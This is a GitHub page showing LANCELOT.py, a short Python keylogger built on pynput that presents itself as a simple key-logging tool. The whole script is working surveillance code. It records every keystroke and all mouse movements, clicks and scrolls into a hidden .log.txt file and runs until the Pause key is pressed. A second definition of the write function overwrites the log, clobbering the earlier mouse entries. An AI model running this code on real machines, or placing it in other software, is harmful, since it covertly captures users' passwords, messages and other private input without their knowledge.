-
Notifications
You must be signed in to change notification settings - Fork 0
/
LANCELOT.py
53 lines (44 loc) · 1.74 KB
/
LANCELOT.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pynput.keyboard import Listener as KeyboardListener
from pynput.keyboard import Key
from pynput.mouse import Listener as MouseListener
lancelot = """
.____ _____ _______ _________ ___________.____ ___________________
| | / _ \ \ \ \_ ___ \\_ _____/| | \_____ \__ ___/
| | / /_\ \ / | \/ \ \/ | __)_ | | / | \| |
| |___/ | \/ | \ \____| \| |___/ | \ |
|_______ \____|__ /\____|__ /\______ /_______ /|_______ \_______ /____|
\/ \/ \/ \/ \/ \/ \/
A simple tool that logs keys.
Made by: Pendragons-code
"""
def filer(lancelot):
with open('.log.txt', 'a') as file:
file.write(lancelot)
filer(lancelot)
def writetofile(x,y):
with open('.log.txt', 'a') as file:
file.write('position of mouse: {0}\n'.format((x,y)))
def on_click(x, y, button, pressed):
if pressed:
with open('.log.txt', 'a') as file:
file.write('Mouse clicked at ({0}, {1}) with {2}'.format(x, y, button))
def on_scroll(x, y, dx, dy):
with open('.log.txt', 'a') as file:
file.write('Mouse scrolled at ({0}, {1})({2}, {3})'.format(x, y, dx, dy))
keys = []
def up(key):
if key == Key.pause:
return False
def down(key):
keys.append(key)
filer(keys)
def filer(keys):
with open('.log.txt', 'w') as f:
for key in keys:
k = str(key).replace("'", "")
f.write(k)
f.write("""
""")
with MouseListener(on_move = writetofile,on_click=on_click, on_scroll=on_scroll) as listener:
with KeyboardListener(on_press=down, on_release=up) as listener:
listener.join()